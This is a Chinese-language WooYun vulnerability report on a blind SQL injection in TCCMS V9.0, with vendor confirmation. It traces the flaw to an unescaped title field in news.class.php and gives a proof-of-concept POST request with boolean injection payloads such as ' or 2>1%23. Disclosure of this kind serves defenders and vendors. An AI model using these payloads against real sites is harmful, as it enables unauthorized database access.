漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0104075
漏洞标题:TCCMSV9.0 最新版多处sql注入(GPC 条件)
相关厂商:teamcen.com
漏洞作者: 路人甲
提交时间:2015-03-31 14:13
修复时间:2015-06-30 16:38
公开时间:2015-06-30 16:38
漏洞类型:SQL注射漏洞
危害等级:中
自评Rank:10
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-03-31: 细节已通知厂商并且等待厂商处理中
2015-04-01: 厂商已经确认,细节仅向厂商公开
2015-04-04: 细节向第三方安全合作伙伴开放
2015-05-26: 细节向核心白帽子及相关领域专家公开
2015-06-05: 细节向普通白帽子公开
2015-06-15: 细节向实习白帽子公开
2015-06-30: 细节向公众公开
简要描述:
RT
详细说明:
在app/controller/news.class.php中
这里程序先做了登陆以及发表文章的权限判断。然后程序执行了表单数据获取操作:$_Obj->create();
我们发现程序从$_POST['info'] 逐一获取了key/value的值,并最终保存为$this->$key =$value。并且在中间过程中做了html编码,并没有做转义。
继续看之前的方法,程序后来执行了
$_Obj->haveDoubleRow($msgObj,"title", Config::lang("TITLECANNOTDOUBLE"));
这里面$column 值就是title,所以$this->$cloum就是$this->title,也就是$_POST[info][title]的值。这样就等于没有进行转义就带入到了sql语句中执行了
此处可以使用boolen型盲注,当sql语句获取到数据的时候会提示title已经存在,利用这个可以很方便的进行sql注入
POC:
http://192.168.152.160/index.php?ac=news_saveOrUpdate
POST:
info[title]=' or 2>1%23&info[pid]=1&info[photo_s]=234&info[photo]=&info[smallmemo]=23&smallpic=1&smallmemo=1&info[id]=&info[content]=<p>234<br/></p>
当注入info[title]=' or 2=1%23时,会添加成功
当注入info[title]=' or 1=1%23时,会提示标题重复
漏洞证明:
http://192.168.152.160/index.php?ac=news_saveOrUpdate
POST:
info[title]=' or 2>1%23&info[pid]=1&info[photo_s]=234&info[photo]=&info[smallmemo]=23&smallpic=1&smallmemo=1&info[id]=&info[content]=<p>234<br/></p>
当注入info[title]=' or 2=1%23时,会添加成功
当注入info[title]=' or 1=1%23时,会提示标题重复
修复方案:
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2015-04-01 16:37
厂商回复:
太细心了,顶你
最新状态:
暂无